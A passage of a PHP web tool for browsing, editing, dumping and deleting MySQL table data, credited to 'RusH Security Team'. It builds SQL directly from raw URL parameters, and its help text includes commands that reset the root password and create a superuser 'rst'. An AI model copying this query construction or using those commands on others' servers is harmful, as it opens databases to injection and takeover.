    "; //определяем индекс для таблицы, по какому полю(полям) будем искать редактируемую запись //Key_name Имя индекса, Column_name Имя столбца $query_ind = 'SHOW KEYS FROM '.$tbl; $result_ind = mysql_query($query_ind) or die("$h_error".mysql_error()."$f_error"); while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) { if ($row['Key_name'] == 'PRIMARY') { $primary[] .= $row['Column_name']; } } mysql_free_result($result_ind); $query = "SELECT * FROM $tbl LIMIT $limit_start,$limit_count"; $result = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); if (mysql_num_rows($result) == 0) { print "Таблица $tbl не содержит ни одной записи"; }else{ /*получаем названия столбцов*/ print ""; for ($i=0;$i$name"; } } while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { print ""; foreach ($line as $key =>$col_value) { if (count($primary) > 0) { if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); } } else { //if (strlen($col_value) >= 20) { // $e_count=substr($col_value,0,20); // $edit .= urlencode("`$key`='$e_count' AND "); //} else { $edit .= urlencode("`$key`='$col_value' AND "); //} } $string .= ""; } $edit=substr_replace($edit,"",-5); //отбросить последний +AND+ print "". "". $string.""; unset($edit); unset($string); } mysql_free_result($result); print "
    ".htmlspecialchars($col_value)."
    EditDel

    "; } //удаляем запись if (isset($query_del)) { $query = 'DELETE FROM '.$tbl.' WHERE '.urldecode($query_del); $r_del = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); print "Успешно удалено строк ( ".mysql_affected_rows()." )"; } //выводим форму редактирования строки if (isset($query_edit)) { $query = 'SELECT * FROM '.$tbl.' WHERE '.urldecode($query_edit); $r_edit = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); print "
    Редактирование значений полей таблицы
    ". "". ""; print "". "". "". "". "". "". "". "". ""; print "Обновить значения  ИЛИ   ". "Вставить новый ряд

    "; while ($line = mysql_fetch_array($r_edit, MYSQL_ASSOC)) { foreach ($line as $key =>$col_value) { $del_str_с .= "`$key`='$col_value' AND "; $len_value=strlen($col_value); if ($len_value > 40) { $t_value=""; } else { $t_value=""; } $g_query .= ""; } } $del_str=urlencode($del_str_с); print ""; print "$g_query
    ПолеЗначение
    $key$t_value

    "; print "
    "; } if (isset($q_get)) { $url=$HTTP_SERVER_VARS['QUERY_STRING']; if ($HTTP_GET_VARS['up_str']=='up_ok') { $del_str=urldecode(substr_replace($del_str,"",-5)); $b = explode('&', $url); for ($i = 10; $i < count($b); $i++) { $q = explode("=",$b[$i]); $q_a .= "`".$q[0]."`='".$q[1]."', "; } $q_a_ins=urldecode(substr_replace($q_a,"",-2)); $q_st=urldecode(substr_replace($q_st,"",-2)); //что заменяем $del_str //на что будем менять $q_a_ins $up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1"; $q_ins_new = mysql_query($up) or die("$h_error".mysql_error()."$f_error"); $c_a_r=mysql_affected_rows(); print "". "
    ". "PHP-код запроса:
    \$sql=\"$up\";
    Изменено строк ($c_a_r)
    "; } if ($HTTP_GET_VARS['up_str']=='ins_ok') { $b = explode('&', $url); for ($i = 10; $i < count($b); $i++) { $q = explode("=",$b[$i]); $i_cols .="`$q[0]`, "; $i_val .= "'$q[1]', "; } $i_cols=urldecode(substr_replace($i_cols,"",-2)); //колонки $q_a_ins=urldecode(substr_replace($i_val,"",-2)); //значения $up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)"; $q_ins_new = mysql_query($up) or die("$h_error".mysql_error()."$f_error"); $c_a_r=mysql_affected_rows(); print "". "
    ". "PHP-код запроса:
    \$sql=\"$up\";
    Изменено строк ($c_a_r)
    "; } } /*------------Вставить ряд--------------*/ if (isset($nn_row) && $HTTP_GET_VARS['nn_row']=='ok') { $nn_q = 'SHOW FIELDS FROM '.$tbl; $r_n = mysql_query($nn_q) or die("$h_error".mysql_error()."$f_error"); print "
    ". "". "". "". "". "". "". "". "". "
    Вставить новый ряд в таблицу [ $tbl ]
    ". "
    ". "". ""; while ($n_line = mysql_fetch_array($r_n, MYSQL_ASSOC)) { foreach ($n_line as $n_k =>$n_v) { $pole .= "$n_v "; } $n_l=explode(" ",$pole); print ""; unset($pole); } print "
    ПолеТипЗначение
     $n_l[0]  ". wordwrap($n_l[1],40,"
    ",1). " 


    "; } if (isset($nn) && $HTTP_GET_VARS['nn']=='ok') { $url_n=urldecode($HTTP_SERVER_VARS['QUERY_STRING']); $b_nn = explode('&', $url_n); for ($i = 8; $i < count($b_nn); $i++) { $q_nn = explode("=",$b_nn[$i]); $q_a_nn .= "`".$q_nn[0]."` ,"; $q_nn_v .= "'".$q_nn[1]."' ,"; } $q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2)); $q_nn_v=substr_replace($q_nn_v,"",-2); $sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )"; mysql_query($sql_n) or die("$h_error".mysql_error()."$f_error"); $c_n_r=mysql_affected_rows(); print "   ". "". "
    Action: Успешно вставлено строк ($c_n_r)
    PHP-код запроса:
    \$sql=\"$sql_n\";


    "; } /*-----------dump таблицы------------*/ $form_dump= "
    ". "". "". "". "". "". "". "". "". "
    ". "". "". "". "". "". "". "". "". "". "
    Dump таблицы [ $tbl ]
    Только структуру
    Только данные
    Структуру и данные

    Действие (показать/отправить)
    Показать в броузере
    Отправить файл дампа по HTTP

    ". "
    "; if ($dump=="tab"){ print $form_dump;} /*----------Только структура------------*/ if ($HTTP_GET_VARS['strukt']=='t_strukt' && $HTTP_GET_VARS['send']=='send_br' ){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); //$file = "/tmp/dump_".$tbl.".sql"; // открываем файл для записи дампа $fp = fopen($file, "w"); fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); // получаем текст запроса создания структуры таблицы $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()."$f_error"); $row = mysql_fetch_row($res); fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); fputs($fp, $row[1].";\n\n"); fclose($fp); $dump_file=file($file); print "
    "; foreach ($dump_file as $k=>$v){$v=str_replace("\n","
    ",$v);print "";} print "
    ".strip_tags($v,"
    ")."

    "; unlink($file); } /*----------Структура и данные------------*/ if ($HTTP_GET_VARS['strukt']=='d_strukt' && $HTTP_GET_VARS['send']=='send_br'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); //$file = "/tmp/dump_".$tbl.".sql"; // открываем файл для записи дампа $fp = fopen($file, "w"); fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); // получаем текст запроса создания структуры таблицы $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()."$f_error"); $row = mysql_fetch_row($res); fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); fputs($fp, $row[1].";\n\n"); // получаем данные таблицы $res = mysql_query("SELECT * FROM `$tbl`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fclose($fp); $dump_file=file($file); print "
    "; foreach ($dump_file as $k=>$v){$v=str_replace("\n","
    ",$v);print "";} print "
    ".strip_tags($v,"
    ")."

    "; unlink($file); } /*----------Только данные------------*/ if ($HTTP_GET_VARS['strukt']=='d' && $HTTP_GET_VARS['send']=='send_br'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); //$file = "/tmp/dump_".$tbl.".sql"; // открываем файл для записи дампа $fp = fopen($file, "w"); // получаем данные таблицы $res = mysql_query("SELECT * FROM `$tbl`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fclose($fp); $dump_file=file($file); print "
    "; foreach ($dump_file as $k=>$v){$v=str_replace("\n","
    ",$v);print "";} print "
    ".strip_tags($v,"
    ")."

    "; unlink($file); } /*-------------END! показать строки таблицы--------------*/ print "
    "; } /*------------------------ END R I G H T B L O C K ! -----------------------*/ /*информация php*/ if (isset($php) && $php=='ok'){ phpinfo(); } if (isset($q_help) && $q_help=='ok'){ print 'Мини HELP по запросам
  • SHOW TABLES выводит список таблиц базы
  • SHOW OPEN TABLES выводит список таблиц, которые в настоящий момент открыты в кэше таблицы
  • SHOW TABLE STATUS структура таблиц базы
  • SELECT VERSION(), CURRENT_DATE выводит версию MySQL сервера и текущую дату
  • SELECT (2*2), (4+1)*5, (9/3), (5-3) используем MySQL как калькулятор: указываем через запятую арифметические операции
  • DROP TABLE IF EXISTS table_name удалить таблицу \"table_name\"
  • CREATE TABLE bar (m INT) создать таблицу bar с одним столбцом (m) типа integer
  • CREATE TABLE test (number INTEGER,texts CHAR(10)); создать таблицу test с полями number -тип INTEGER и поле texts -тип CHAR
  • CREATE TABLE `test` SELECT * FROM `rush`; создать таблицу test ,копируя таблицу rush
  • ALTER TABLE test CHANGE SITE OLD_SITE INTEGER переименовать столбец INTEGER из SITE в OLD_SITE
  • ALTER TABLE test RENAME rush переименовать таблицу test в rush
  • UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\' сменить юзеру root пароль
  • FLUSH PRIVILEGES перечитать таблицу привилегий юзеров
  • GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION добавить нового супер-юзера mysql rst с паролем some_pass '; } print "
    free script ©RusH Security Team
    "; ?>